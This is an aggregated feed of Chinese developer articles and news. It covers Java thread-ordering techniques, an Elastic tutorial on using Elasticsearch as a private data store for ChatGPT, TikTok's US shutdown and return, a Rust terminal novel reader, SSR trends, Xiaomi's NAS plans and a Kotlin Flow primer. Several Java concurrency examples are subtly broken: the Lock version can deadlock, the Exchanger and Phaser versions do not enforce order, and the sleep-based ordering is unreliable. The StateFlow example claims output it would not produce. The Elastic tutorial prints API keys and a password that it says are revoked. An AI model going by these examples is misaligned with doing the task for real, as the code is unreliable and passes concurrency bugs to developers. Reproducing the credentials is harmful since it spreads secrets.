解释: CyclicBarrierJava并发包中的另一个同步工具,通常用于多个线程都到达某个共同的屏障点时一起继续执行。虽然它的主要用途是同步多个线程的执行,但也可以通过适当的设置来控制线程顺序。

使用场景: 当需要多个线程在同一时刻开始或继续执行,或者在特定时刻同步时,CyclicBarrier可以帮助实现这种控制。

代码示例:

CyclicBarrier barrier = new CyclicBarrier(3, () -> {
    System.out.println("所有线程到达屏障点,开始执行");
});

Thread t1 = new Thread(() -> {
    try {
        System.out.println("线程T1开始");
        barrier.await();  // 等待其他线程
        System.out.println("线程T1继续");
    } catch (Exception e) {
        Thread.currentThread().interrupt();
    }
});

Thread t2 = new Thread(() -> {
    try {
        System.out.println("线程T2开始");
        barrier.await();  // 等待其他线程
        System.out.println("线程T2继续");
    } catch (Exception e) {
        Thread.currentThread().interrupt();
    }
});

Thread t3 = new Thread(() -> {
    try {
        System.out.println("线程T3开始");
        barrier.await();  // 等待其他线程
        System.out.println("线程T3继续");
    } catch (Exception e) {
        Thread.currentThread().interrupt();
    }
});

t1.start();
t2.start();
t3.start();

2. Lock(显式锁)

解释: ReentrantLock 是一种显式的锁机制,比 synchronized 更加灵活。通过在多个线程间获取和释放锁,ReentrantLock 可以确保线程按顺序执行。它可以避免死锁,并允许指定公平锁(保证线程获取锁的顺序是按照请求顺序)。

使用场景: 当需要更多控制权和锁的灵活性时,ReentrantLock 是一个很好的选择。

代码示例:

Lock lock = new ReentrantLock();
Condition condition = lock.newCondition();

Thread t1 = new Thread(() -> {
    lock.lock();
    try {
        System.out.println("线程T1");
        condition.signal();  // 唤醒T2
    } finally {
        lock.unlock();
    }
});

Thread t2 = new Thread(() -> {
    lock.lock();
    try {
        condition.await();  // 等待T1
        System.out.println("线程T2");
        condition.signal();  // 唤醒T3
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
    } finally {
        lock.unlock();
    }
});

Thread t3 = new Thread(() -> {
    lock.lock();
    try {
        condition.await();  // 等待T2
        System.out.println("线程T3");
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
    } finally {
        lock.unlock();
    }
});

t1.start();
t2.start();
t3.start();

3. Exchanger

解释: Exchanger 是一个用于在两个线程之间交换数据的同步工具,通常用于两个线程在某个点交换信息时。通过这种机制,也可以实现线程间的顺序执行,尤其是在线程之间需要交换某些状态信息时。

使用场景: 适用于两个线程需要在某个同步点交换信息的场景。

代码示例:

Exchanger<String> exchanger = new Exchanger<>();

Thread t1 = new Thread(() -> {
    try {
        String result = "T1 finished";
        exchanger.exchange(result);  // 交换数据
        System.out.println("线程T1");
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
    }
});

Thread t2 = new Thread(() -> {
    try {
        exchanger.exchange(null);  // 等待T1完成
        System.out.println("线程T2");
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
    }
});

Thread t3 = new Thread(() -> {
    try {
        exchanger.exchange(null);  // 等待T2完成
        System.out.println("线程T3");
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
    }
});

t1.start();
t2.start();
t3.start();

4. Phaser

解释: Phaser 是一种比 CountDownLatchCyclicBarrier 更加灵活的同步工具,它支持动态注册和注销线程。它允许线程在不同的阶段同步,并且支持跨多个阶段的同步。

使用场景: 适用于多阶段的任务执行,尤其是线程执行的阶段数量不确定的情况下。

代码示例:

Phaser phaser = new Phaser(1);  // 注册一个主线程

Thread t1 = new Thread(() -> {
    System.out.println("线程T1");
    phaser.arriveAndAwaitAdvance();  // 等待信号继续
});

Thread t2 = new Thread(() -> {
    phaser.arriveAndAwaitAdvance();  // 等待T1
    System.out.println("线程T2");
    phaser.arriveAndAwaitAdvance();  // 准备继续下一阶段
});

Thread t3 = new Thread(() -> {
    phaser.arriveAndAwaitAdvance();  // 等待T2
    System.out.println("线程T3");
    phaser.arriveAndAwaitAdvance();  // 结束
});

t1.start();
t2.start();
t3.start();

5. Thread.sleep()(不推荐)

解释: 虽然不推荐使用 Thread.sleep() 来控制线程顺序,但它可以简单地使线程休眠指定时间,间接地控制线程的执行顺序。这个方法的缺点是它不保证准确的顺序,并且可能导致性能问题。

使用场景: 在一些不那么严格的需求中,临时控制线程的执行顺序。

代码示例:

Thread t1 = new Thread(() -> {
    try {
        System.out.println("线程T1");
        Thread.sleep(100);  // 暂停一定时间
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
    }
});

Thread t2 = new Thread(() -> {
    try {
        Thread.sleep(100);  // 等待T1稍微完成
        System.out.println("线程T2");
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
    }
});

Thread t3 = new Thread(() -> {
    try {
        Thread.sleep(200);  // 等待T2完成
        System.out.println("线程T3");
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
    }
});

t1.start();
t2.start();
t3.start();

总结

除了常见的 join()CountDownLatchSemaphore 等方法,其他同步工具如 CyclicBarrierReentrantLockExchangerPhaser 也能帮助保证线程顺序执行。每种工具都有其适用的场景,选择合适的工具可以在确保线程执行顺序的同时,也提高程序的效率和可维护性。

by 后端出路在何方 at January 20, 2025 02:39 AM

ChatGPT 摘要,以 ESS 作为你的私有数据存储

作者:来自 Elastic Ryan_Earle

本教程介绍如何设置 Elasticsearch 网络爬虫,将网站索引到 Elasticsearch 中,然后利用 ChatGPT 使用我们的私人数据来总结对其提出的问题。

Python 脚本的 Github Repo:github.com/Gunnerva/el…

目标:

了解如何使用 Elasticsearch 作为 ChatGPT 的私有数据存储。

流程

1. 创建 ESS 部署

要开始本教程,我们将首先创建 ESS 部署。
在 ESS 上创建 Elasticsearch 集群 8.17 或更高版本。确保它至少包含 1 个机器学习节点。

建议的最小配置:

  • 2 个 8GB 热节点
  • 1 个 2GB 机器学习节点(确保未启用机器学习自动扩展,这有助于了解这些机器学习过程对你的资源的影响)。部署模型时,模型的分配越多,所需的内存就越多。

请注意此过程中机器学习节点的使用情况。根据你决定定位的网站,机器学习节点可能是你的瓶颈。这是因为必须对文档进行索引,然后机器学习节点将在提取文档时将下一步中引用的嵌入模型应用于文档。

布局示例:

你的 Elasticsearch 集群需要可供远程 AI 源使用。这不需要 ESS,但它是最容易快速实现的。一般来说,本地部署需要防火墙规则等...以允许远程 AI 连接到本地 Elasticsearch 集群。

2. 设置嵌入模型

在抓取我们的网站以创建与 ChatGPT 交互的私有索引之前,我们需要将嵌入模型加载到 Elasticsearch 中。

对于此示例,我们将使用由 SentenceTransformers 训练并托管在 Hugging Face 模型中心的 all-distilroberta-v1 (sentence-transformers/all-distilroberta-v1 · Hugging Face) 模型。可以使用其他模型,但此特定模型适合一般用途,并且是在涵盖各种主题的大型数据集上进行训练的。

此特定模型不是此设置工作所必需的。它适合一般用途,因为它是在涵盖广泛主题的非常大的数据集上进行训练的。但是,对于向量搜索用例,使用针对你的特定数据集进行微调的模型通常会提供最佳结果。例如,如果你正在搜索科学研究论文,此模型可能不是最好的。

为此,我们将使用 Elastic 创建的 Eland Python 库(

python3 -m pip install 'eland[pytorch]'

GitHub - elastic/eland:用于 Elasticsearch 中的 DataFrames、大数据、机器学习和 ETL 的 Python 客户端和工具包)。该库提供了广泛的数据科学功能,但我们将使用它作为桥梁,将模型从 Hugging Face 模型中心加载到 Elasticsearch 中,以便将其部署在机器学习节点上进行推理。

Eland 可以从命令行、docker 容器或作为 Python 脚本的一部分运行。

从命令行安装(使用 Ubuntu 20.04 的示例)。此处有其他 Docker 说明:导入训练后的模型和词汇表 | Elastic Stack 中的机器学习 [8.17] | Elastic

:你可以参考我之前的的文章 “Elasticsearch:如何部署 NLP:文本嵌入和向量搜索” 来进行部署。

步骤 1:在你的机器上安装 eland 或使用 Docker(请参阅上面的链接了解 Docker 说明):

python3 -m pip install 'eland[pytorch]'

步骤 2 :复制你的 ESS 部署 URL

转到 cloud.elastic.co 并登录。选择目标部署旁边的 “Manage”。单击 Elasticsearch 旁边的 “Copy Endpoint”

步骤 3:将模型加载到 Elasticsearch

使用你从云控制面板(Cloud Control Panel)复制的 URL、Elastic 用户名和密码 —— 完成以下命令并执行。

以下命令将把 hub-model 加载到你的机器学习节点上并自动启动它。

eland_import_hub_model --url https://test-f22762.es.us-central1.gcp.cloud.es.io:9243 -u elastic -p YOURPASSWORD --hub-model-id sentence-transformers/all-distilroberta-v1 --task-type text_embedding

步骤 4 - 登录 Kibana 并验证模型是否已启动

  • 登录 Kibana
  • 导航至 Machine Learning
  • 在模型管理下单击 “Trained Models”

3. 抓取你的数据

步骤 1:确定你想要抓取的网站。在此示例中,我们将抓取 NFL 名人堂(NFL's hall of fame)。

-- 我们不会设置排除项等...但应在生产中配置它们

步骤 2:登录 Kibana。

在 “Search” 下选择 Elasticsearch

步骤 3:单击 “ Web Crawlers”

步骤 4:单击 “New Web Crawler”

步骤 5:输入索引的名称。

它将以 “search” 作为前缀。例如:nfl-hof 将成为索引 search-nfl-hof

第 6 步:单击 “Create Index”

第 7 步:转到 “管理域” 添加要抓取的域。

单击 “Validate Domain”,然后单击 “Add Domain”。

示例:Players | Pro Football Hall of Fame | Pro Football Hall of Fame(球员 | 职业足球名人堂 | 职业足球名人堂)

第 8 步:转到管道

单击 “Unlock your custom pipelines” 下的 “Copy and Customize”

接下来查看 “Machine Learning Inference Pipelines” - 单击 “Add Inference Pipleine”

步骤 9:选择密集向量文本嵌入 sentence-transformers__all-distilroberta-v1 然后点击继续

步骤 10:在“Select Field Mappings” 下选择 “Title”,然后单击 “Add”

第 11 步:单击 “Continue”,直到看到 “Create Pipeline”,然后单击 “Create Pipeline”

步骤12:单击 “Crawl”

步骤 13:检查网络爬虫索引并确保文档被填充到搜索索引中

第 14 步:执行测试查询,确保你有兴趣发送到 ChatGPT 的文档已被提取到 Elasticsearch 中

示例查询,以确保 Walter Payton 文档已被提取到索引中。



1.  GET search-nfl-hofx/_search
2.  {
3.    "query": {
4.    "match": {
5.      "title" : "Walter Payton"}
6.    }
7.  }


4. 安装 Streamlit

需要 Streamlit 来执行步骤 5 中引用的 python 脚本。这将创建界面。

pip install streamlit

通过从控制台发出以下命令来测试并确保 Streamlit 已成功安装:

streamlit hello

5. 下载 python 脚本。

链接:github.com/elastic/sup…

有两个选项:

  • A. 将 ESS 连接到 OpenAI 脚本:
    • hof_es_gpt_noBing.py
  • B. 将 ESS 连接到 OpenAI 并将 Bing 连接到 OpenAI
    • hof_es_gpt_withBing.py

在 Python 脚本中编辑索引名称以匹配你在设置网络爬虫时创建的索引的名称:hof_es_gpt_noBing.py 中的第 70 行

index = 'search-nfl-hofx'

6. 设置外部资源:

设置 OpenAI 的 ChatGPT:

要连接到 ChatGPT,你需要一个 OpenAI API 帐户和密钥。如果你还没有帐户,你可以创建一个免费帐户,你将获得初始免费积分。

转到 platform.openai.com 并单击注册。

创建帐户后,你需要创建一个 API 密钥:

  • 单击 API Keys。
  • 单击 Create new secret key。
  • 复制新密钥并将其保存在安全的地方,因为你将无法再次查看该密钥。

可选设置 Bing API —— 这将允许应用程序首先搜索 ESS 数据存储,然后如果找不到数据,则允许它通过 Bing 搜索互联网。

Bing Custom Search API:Bing Custom Search API | Microsoft Bing

7. 设置脚本

  • 步骤 1. 启动控制台
  • 步骤 2. 导航到保存 Python 脚本的目录
  • 步骤 3. 在控制台中定义脚本变量:

所需要的变量:



1.  OpenAI API Key
2.  ESS Cloud ID
3.  ESS username
4.  ESS password


可选(取决于脚本):

  • Bing API 密钥
  • Bing 端点

在运行 Python 脚本之前,我们需要在控制台中定义一些变量。如果你不使用 Bing 脚本,则可以跳过 Bing 变量 - 更改 API 密钥以匹配你的 API 密钥。以下密钥已被撤销(只是作为展示使用目的)。



1.  export openai_api="sk-IduoyWxSoVRtGpJUiyY99QaGO70v8sf1agXvuuFrVUT3BlbkFJrUBcDHY-ervQgdun2Z7IkJa6YYXqCczk1NnrEzPSEA"
2.  export cloud_id="814-test:dXMtY2VudHJhbDEuZ2NwLmNsb3VkLmVzLmlvOjQ0MyQ5ZDJiZDRlODc3YmM0YmQ0YWFhM2I4MjBlMzk2ZDhiYSQwYWM5YjRmMWEzZTg0ODdlOTlmZGM3OTVkZjg4YTUxNQ=="
3.  export cloud_pass="aCu1A6hkhQAw6cso359o8IH5"
4.  export cloud_user="elastic"
5.  export bing_subkey="94b11de338384967a4ddb61b611d3c97"
6.  export bing_endpoint="https://api.bing.microsoft.com/"


定义以下变量后执行脚本:

使用 streamlit 执行脚本:

streamlit run hof_es_gpt_noBing.py

示例

最终产品应该是什么样子或是什么样子的示例:

测试:

如何测试我们上传的模型:



1.  POST _ml/trained_models/sentence-transformers__all-distilroberta-v1/_infer
2.  {
3.    "docs": [
4.      {
5.        "text_field": "Halo is a military science fiction media franchise, originally developed and created by Bungie and currently managed and developed by 343 Industries, part of Microsofts Xbox Game Studios. The series launched in 2001 with the first-person shooter video game Halo: Combat Evolved and its tie-in novel, The Fall of Reach. The latest main game, Halo Infinite, was released in late 2021. Combat Evolved started life as a real-time strategy game for personal computers, turning into a first-person shooter exclusive to Microsoft's Xbox video game console after Bungie was acquired by the company. Bungie regained its independence in 2007, releasing additional Halo games through 2010 before moving on from the franchise. Microsoft established 343 Industries to oversee Halo going forward, producing games itself and in partnership with other studios."
6.      },
7.      {
8.        "text_field": "Sonic the Hedgehog[c] is a 1991 platform game developed by Sonic Team and published by Sega for the Genesis/Mega Drive. It was released in North America on June 23 and in PAL regions and Japan the following month. Players control Sonic the Hedgehog, who can run at near supersonic speeds; Sonic sets out on a quest to defeat Dr. Robotnik, a scientist who has imprisoned animals in robots and seeks the powerful Chaos Emeralds. The gameplay involves collecting rings as a form of health, and a simple control scheme, with jumping and attacking controlled by a single button. Development began in 1990 when Sega ordered its developers to create a game featuring a mascot for the company. The developers chose a blue hedgehog designed by Naoto Ohshima after he won an internal character design contest, and named themselves Sonic Team to match their character. It uses a novel technique that allows Sonic's sprite to roll along curved scenery which was based on a concept by Oshima from 1989.[2] Sonic the Hedgehog, designed for fast gameplay, was influenced by games by Super Mario series creator Shigeru Miyamoto. The music was composed by Masato Nakamura, bassist of the J-pop band Dreams Come True."
9.      }
10.    ],
11.    "inference_config": {
12.      "text_embedding": {

14.      }
15.    }
16.  }


获取我们上传的模型的统计信息:

GET _ml/trained_models/sentence-transformers__all-distilroberta-v1/_stats

测试查询:

传统查询:



1.  POST search-nfl-hof/_search
2.  {
3.    "size": 1,
4.    "query": {
5.      "bool": {
6.        "must": [
7.          {
8.            "match": {
9.              "title": {
10.                "query": "Walter Payton",
11.                "boost": 1
12.              }
13.            }
14.          },
15.          {
16.            "knn": {

18.          "field": "ml.inference.title.predicted_value",

20.          "num_candidates": 20,
21.          "query_vector_builder": {
22.              "text_embedding": {
23.                  "model_id": "sentence-transformers__all-distilroberta-v1",
24.                  "model_text": "Walter Payton"
25.              }
26.          },
27.          "boost": 24

29.            }
30.          }
31.        ],
32.        "filter": [
33.          {
34.            "exists": {
35.              "field": "ml.inference.title.predicted_value"
36.            }
37.          }
38.        ]
39.      }
40.    }
41.  }


KNN Query:



1.  POST search-nfl-hof/_search
2.  {
3.    "size" : 1,
4.    "query" : {
5.      "bool" : {
6.        "must" : {
7.             "knn": {
8.                       "field": "ml.inference.title.predicted_value",
9.          "num_candidates": 20,
10.          "query_vector_builder": {
11.              "text_embedding": {
12.                  "model_id": "sentence-transformers__all-distilroberta-v1",
13.                  "model_text": "Tell me about Tom Brady"
14.              }
15.          },
16.          "boost": 24
17.             }
18.            }
19.          }
20.    }}


原文:Dec 16th, 2024: [EN] ChatGPT Summary with ESS as your Private Datastore - Advent Calendar - Discuss the Elastic Stack

by Elasticsearch at January 20, 2025 02:36 AM

oschina news industry

TikTok 主动宣布停止服务后恢复上线

据最新消息,美国西部时间19日9时30分(北京时间20日1时30分)左右,TikTok主动宣布停止服务后,在社交媒体平台X上发表声明称:

正在恢复对美国用户的服务。感谢美国候任总统特朗普向TikTok的互联网服务提供商做出了必要的澄清和保证,使其不会为协助维护TikTok正常运转而遭受处罚,并将与其合作制定一项长期解决方案,让 TikTok 继续“留在美国”。目前TikTok应用程序已恢复正常使用,TikTok网站也已恢复正常。

据此前报道,美国当选总统特朗普在社交媒体发文称,将于周一(1月20日)发布一项行政命令,延长TikTok禁令法定生效前的时限。他还称,在行政命令下达前,任何协助TikTok避免关停的公司都无需承担责任。特朗普另外表示,为了“拯救TikTok”,他希望美方“能在未来的合资企业中拥有50%的所有权”。据此,Tiktok未来或许会是美资公司,至少一半是美国资本。

2024年4月24日,美国总统拜登签署一项国会参众两院通过的法案,要求TikTok母公司字节跳动在270天内将TikTok出售给非中国企业,否则这款应用程序将在美国被禁用。当地时间2025年1月17日,美国最高法院裁定支持短视频社交媒体平台TikTok在美禁令。TikTok的应用程序最早将于19日在美国下架。

美国西部时间18日19时30分(北京时间19日11时30分),在禁令生效前的几个小时,TikTok发布通知称暂时中止在美服务。紧接着,apCut、Lemon8、Gauth和Hypic等TikTok母公司字节跳动旗下多个应用软件几乎同一时间停止在美服务。为TikTok应用程序在美正常运转提供支持的苹果、谷歌和甲骨文等美国企业也停止了相关服务。

主动宣布停止服务后,引起了无数美国网友的抗议和业界人士的讨论。不久后即将上任的美国国家安全顾问沃尔茨表示,美国当选总统特朗普团队正与科技公司合作,计划于下周一在美国重新上线TikTok。沃尔茨表示还表示,特朗普需要时间来解决TikTok问题。北京时间1月19日晚8时,美国候任总统特朗普在他的社交账号上发了一则帖文,内容为:“挽救TikTok!”

by 来源: OSCHINA at January 20, 2025 02:24 AM

juejin frontend

TRNovel:一个专为小说爱好者打造的终端阅读器

TRNovel (Terminal Reader for Novel) 是一个专为小说爱好者设计的终端阅读器。

NPM Version NPM Downloads Crates.io Version Crates.io Total Downloads

前言

两个月前的一个慵懒周末,我正躺在沙发里沉浸在番茄小说的世界中。突然,一个念头冒了出来:要是有个更顺手的阅读工具该多好啊!这个想法就像一颗种子,在我心里悄悄扎了根。于是,我就想,干嘛不自己动手做个本地小说阅读器呢?这样不仅自己用着爽,还能和朋友们分享,TRNovel 就这么诞生了。

当我把初版拿给朋友们看的时候,他们给了我不少建议,比如能不能读网络小说?这些建议就像是给我打了鸡血,让我有了继续改进的动力。我参考了一些其他项目的点子,特别是any-reader里的书源解析技术,让TRNovel不仅能对付API格式的书源,还能啃得动网页上的HTML内容,这样网上的小说也能轻松读到了。

但我还是觉得不够好。为了让更多人能方便地用上TRNovel,我还学了tauri脚手架那一套,现在大家只需要通过npm就能快速安装应用,简单多了。经过一轮又一轮的调整,TRNovel已经到了0.5.1版本,功能也越来越多了。

现在,我决定把TRNovel开源,希望它能为喜欢读小说的朋友们提供更好的体验。我也特别期待更多的开发者能加入我们,一起让TRNovel变得更好玩、更强大。

简介

TRNovel 是一款基于终端的小说阅读应用程序,由 Rust 语言构建,并采用了 Ratatui 库来提供用户界面。它兼容 Windows、Linux 和 MacOS 操作系统,旨在为用户提供流畅的小说阅读体验。

特性

TRNovel 提供了以下功能:

  • 支持本地 .txt 格式的小说文件。
  • 支持网络小说,通过集成特定书源获取内容。
  • 自动保存阅读历史记录,方便您继续未完成的故事。
  • 提供个性化主题设置,定制您的阅读环境。

请注意,TRNovel 的网络小说功能与 Legado 的书源并不完全兼容。

安装指南

根据您的开发环境,您可以选择以下任意一种方式来安装 TRNovel:

使用 Node.js 环境安装

若您已安装 Node.js 环境,可以通过 npm 全局安装 TRNovel:

npm install -g @trnovel/trnovel

使用 Rust 环境安装

如果您有 Rust 工具链(包括 cargo),可以直接通过 Cargo 安装 TRNovel:

cargo install trnovel

下载预编译二进制文件

对于没有 Node.js 或 Rust 环境的用户,可以从 Releases 页面下载适合您操作系统的最新版本的可执行文件。请确保将下载的文件路径添加到您的环境变量中以便全局调用。

使用说明

安装完成后,您可以直接在命令行中输入 trnovel 来启动应用。如果您是通过 npm或者cargo安装的也可以使用命令别名trn来启动应用。

初次使用时,建议您先查看帮助信息以熟悉基本操作:trnovel-help

本地阅读

TRNovel 支持读取本地存储的小说文本文件(.txt 格式)。要开始阅读本地文件,请进入 TRNovel 并按下 s 键,然后按照提示输入或选择您想要打开的文件路径。

查看快捷键信息

您可以在每个页面按i键,查看该页面可用的快捷键信息。

网络阅读

对于网络上的小说资源,TRNovel 提供了书源解析的能力,允许您在线阅读最新的章节内容。要使用此功能,您首先需要导入书源。按s键,然后输入书源的本地地址或者URL,接着选择您想要导入的书源即可。

历史记录

历史记录会自动保存,您可以在历史记录页面按d键删除历史记录。

主题设置

您可以在主题设置页面修改主题颜色。 设置完成后,需要重新启动TRNovel才能生效。

清理缓存

TRNovel会在HOME目录或者命令所在目录下创建一个.novel文件夹, 用于存放缓存文件。您可以使用以下命令快速清理缓存。

trnovel clear

如果您想要重置主题,或者更高级的自定义主题,可以删除或修改.novel/theme.json文件。

快速模式,接着上一次阅读的位置继续阅读

您可以使用以下命令进入快速模式,接着上一次阅读的位置继续阅读。

trnovel quick

注意:快速模式需要有一个历史记录才能使用。

最后

项目地址:github.com/yexiyue/TRN…

感谢您的使用和支持!如果您在使用 TRNovel 过程中遇到任何问题或有任何建议,欢迎随时向我反馈。我将竭诚为您提供帮助和支持。

by yexiyue at January 20, 2025 02:22 AM

服务器端渲染的未来:2025年趋势

尽管Jamstack的热潮一波接一波,SSR依然充满活力。

Jamstack是什么?

也是第一次听这个术语。Jamstack(JavaScript、API 和 Markup 的缩写) 是一种以静态文件为核心的现代 Web 架构,通过结合前端 JavaScript、后端 API 和预先生成的标记文件(Markup)来构建网站和应用程序。

其典型架构如下:

    1. JavaScript:运行在客户端的动态交互代码(例如 React、Vue 或 Angular)。
    1. API:提供数据或功能的后端服务,可通过 REST 或 GraphQL 调用。
    1. Markup:通过静态站点生成器(如 Next.js、Gatsby、Hugo)预渲染的 HTML 文件。

这种模式强调“去服务器化”,将繁重的后端逻辑从传统架构中剥离出来,转而依赖于无状态的 API 和预渲染技术。常见的是 Headless CMS(Contentful、Sanity)和 Static Site Generator(Gatsby、Hugo)。

什么是SSR?

SSR这个还是比较熟悉的。SSR 曾是构建动态网页的主流方式,但随着单页应用(SPA)和客户端渲染(CSR)的兴起,它一度退居次要。然而,随着用户体验、性能优化和 SEO 要求的提升,SSR 再次成为技术焦点,并在现代框架(如 Next.js 和 Nuxt.js)的推动下焕发新生。

SSR直白点就是在服务器上渲染HTML并将其发送到浏览器,这样用户可以更快地获取内容,搜索引擎也可以更好地抓取。

它是现代Web应用的骨架,在速度、SEO和交互性之间取得了完美的平衡。

SSR的未来

1. React服务器组件

React服务器组件(RSC)重新定义我们对SSR的看法。Next.js 从 12 版本开始,成为首批支持 RSC 的框架。Next.js 13 在 App Router 模式中完全整合了 RSC,使得页面开发更高效,同时实现了更好的性能。

react.dev/reference/r…

RSC让你在服务器上完成繁重的工作,只发送必要的部分,而不是将整个应用发送到客户端。

这意味着:

  • 页面加载更快。

  • JavaScript负载减少。

  • 关注点的清晰分离。

2. WebAssembly

这里有一个有趣的事实:WebAssembly(Wasm)不再只是用于在浏览器中运行C++或Rust。

它正在渗透到SSR中。

为什么?因为Wasm十分擅长处理计算密集型任务,不会给服务器带来过大的负担,导致服务器运行缓慢或出现其他问题。

例如:

  • 图像处理?Wasm。
  • 复杂的数据转换?Wasm。

通过将这些任务卸载到Wasm,SSR框架将比以往任何时候都更精简、更强大。

WebAssembly 不仅可以在浏览器中运行,还可以通过 Node.js 或专用运行时(如 Wasmtime、WasmEdge)在服务器端运行。在 SSR 场景中,WebAssembly 可以被用于执行计算密集型任务。

// 在 Node.js 中加载和运行 WebAssembly 模块
const fs = require('fs');
const { WASI } = require('wasi');
const wasi = new WASI();

const wasmFile = fs.readFileSync('./example.wasm');
const { instance } = await WebAssembly.instantiate(wasmFile, {
  wasi_snapshot_preview1: wasi.wasiImport,
});

wasi.start(instance);

// 在 SSR 中调用 WebAssembly 模块来处理数据
const result = instance.exports.processData();
console.log('WebAssembly 数据处理结果:', result);

3. 无服务器架构

无服务器架构并不意味着“没有服务器”,而是开发者无需管理和维护底层服务器。专注于有趣的事情——编码。提供无服务管理的有AWS、Vercel 、Netlify,国内的也可以使用阿里云函数计算(Function Compute)、腾讯云无服务器云函数(SCF)等。

这有什么关系?

  • 可扩展性:你的应用可以轻松处理10个用户或1000万个用户。
  • 成本效益:你只为你使用的付费,这意味着你不会在闲置的服务器上烧钱。
  • 简单性:部署你的SSR应用变得和运行git push一样简单。

像Next.js这样的框架已经无缝集成到无服务器平台中。

4. 混合渲染的兴起

为什么要在SSR和静态站点生成(SSG)之间选择,不可以都要么?

混合渲染——在构建时预渲染一些页面,在运行时动态渲染其他页面——是两者的最佳结合。

像Nuxt.js和Next.js这样的框架正在加倍投入这种做法,为开发者提供所需的灵活性和混合匹配。

总结

SSR的未来是什么

  • 更智能的缓存:只重新渲染绝对必要的部分。
  • 更高效的捆绑:发送更少的JavaScript,渲染更快。
  • 更优化的资源:压缩、懒加载信手拈来。

无论是通过React服务器组件、WebAssembly的力量,还是无服务器架构的魔力,SSR的未来看起来很光明。

by 叶知秋水 at January 20, 2025 02:19 AM

oschina news industry

小米 NAS 进展曝光:造型简洁、实力强悍

2024年,小米上市了一款千兆交换机和一款万兆交换机,眼尖的网友在其海报宣传里发现了对“万兆NAS传输”的支持,小米NAS迅速获得了众多网友的关注。随后官方回应,这只是用于示意,内部并没有相关产品的规划。

可能是网友的声音过于迫切,小米于2024年7月展开NAS产品调研,并用数月的时间对NAS核心技术进行预研。而在最近,我们又能看到小米NAS更多的消息。

日前,小米生态链总经理陈波在一次直播当中公开了小米NAS产品的最新进展,他表示产品目前已经进入到开发的尾声阶段,逐渐要转入到制造和落地。首版打样进行了多轮测试,并透露小米NAS会延续小米生态产品一向的简约、高级、优雅,有一些科技感。

虽然陈波并未在直播中透露小米NAS具体的上市时间,但根据开发进度来看,今年内有落地上市的机会,那么小米要做家庭NAS存储领域的销量之王吗?

陈波曾透露小米NAS的三大核心能力,第一,打通手机、PC、电视、平板电脑等设备,实现扩容、AI相册;第二,打造家庭影视中心,能够生成私人影院海报墙,用户可以随心点播NAS内的电影资源;第三,为有基础存储需求的用户提供丰富的网盘管理和资源下载能力。  

他认为,NAS是家庭存储的中心,小米做NAS会考虑到小米的核心用户(小米手机、小米IoT产品等用户),一定会做好基本的存储功能、数据的过渡,高度重视整套系统的安全与隐私。换句话说,NAS也算是补足小米生态的最后一块“拼图”。

by 来源: OSCHINA at January 20, 2025 02:18 AM

juejin android

Kotlin Flow:Android 开发中的异步数据流实现

如果刚进入 Android 开发,那么 Kotlin Flow 将是你处理异步数据流的强大盟友。本文将以 Flow 的操作类型为线索,带你逐步深入了解 Kotlin Flow 的核心概念、常用操作,以及在 Android 开发中的实际应用。

1. Flow 的创建:数据流的起点

Flow 的核心在于它如何产生数据。最基础的方式是使用 flow { ... } 构建器:

import kotlinx.coroutines.delay
import kotlinx.coroutines.flow.*
import kotlinx.coroutines.runBlocking

fun main() = runBlocking {
    val numberFlow: Flow<Int> = flow {
        println("Flow 开始发射数据")
        emit(1)
        delay(100) // 模拟耗时操作
        emit(2)
        delay(200)
        emit(3)
        println("Flow 完成发射数据")
    }
}

这段代码创建了一个 numberFlow,它会依次发射 1、2、3 这三个整数。emit 函数用于向 Flow 中发射数据。emit 是一个挂起函数,这意味着它可以在协程中安全地执行耗时操作,而不会阻塞主线程。

2. 转换操作:数据的变形

Flow 提供了丰富的操作符来转换和处理数据:

  • map: 将 Flow 中的每个元素映射为新的元素。例如,numberFlow.map { it * 2 } 会将每个数字乘以 2。
     numberFlow.map { it * 2 }.collect { value ->
        println("map 后的值: $value") // 输出 2, 4, 6
    }
    
  • filter: 根据条件过滤 Flow 中的元素。例如,numberFlow.filter { it % 2 == 0 } 只保留偶数。
    numberFlow.filter { it % 2 == 0 }.collect { value ->
       println("过滤后的值 (偶数): $value") // 输出 2
    }
    
  • onEach: 在每次发射数据时执行操作,但不会改变数据本身。它常用于打印日志、调试等场景。
    numberFlow.onEach {
       println("发射前的值:$it")
    }.collect { value ->
       println("接收到的值:$value")
    }
    

这些操作符可以链式调用,形成灵活的数据处理管道,并且它们都是非终端操作符,不会启动 Flow 的执行。

3. 限制操作:控制数据流

有时候我们并不需要 Flow 发射的所有数据,这时可以使用限制操作符:

  • take: 限制 Flow 发射的元素数量。例如,numberFlow.take(2) 只接收前两个元素。
    numberFlow.take(2).collect { value ->
        println("只接收前两个值: $value") // 输出 1, 2
    }
    

4. 终端操作:启动和消费数据流

终端操作符是启动 Flow 并消费数据的关键。它们会触发 Flow 的执行,并返回结果:

  • collect: 这是最常用的终端操作符,用于接收 Flow 发射的值。collect 是一个挂起函数
    numberFlow.collect { value ->
        println("接收到: $value") // 输出 1, 2, 3
    }
    
  • toList: 将 Flow 发射的所有数据收集到一个 List 中。toList 是一个挂起函数
    val numberList = numberFlow.toList()
    println("转换为 List: $numberList") // 输出 [1, 2, 3]
    
  • first: 获取 Flow 发射的第一个元素。first 是一个挂起函数
    val firstNumber = numberFlow.first()
    println("第一个元素: $firstNumber") // 输出 1
    
  • reduce: 对 Flow 发射的所有元素进行累积操作。reduce 是一个挂起函数
    val sum = numberFlow.reduce { accumulator, value ->
        accumulator + value
    }
    println("所有元素的总和: $sum") // 输出 6
    

5. StateFlow:状态的管理

StateFlow 是一种特殊的 Flow,用于管理状态。它持有当前状态值,并在状态发生变化时通知订阅者。

val stateFlow = MutableStateFlow(0)
stateFlow.value = 1
stateFlow.collect { value ->
    println("StateFlow 的值: $value") // 输出 1, 2
}
stateFlow.value = 2

StateFlow 总是持有最新值,并且当有新的订阅者时,会立即发送当前值。

6. SharedFlow:事件的广播

SharedFlow 用于向多个订阅者广播事件。它允许在多个协程之间共享数据,并且可以配置缓存策略。

val sharedFlow = MutableSharedFlow<String>()
launch {
    sharedFlow.collect { value ->
        println("订阅者 1 接收到: $value")
    }
}
launch {
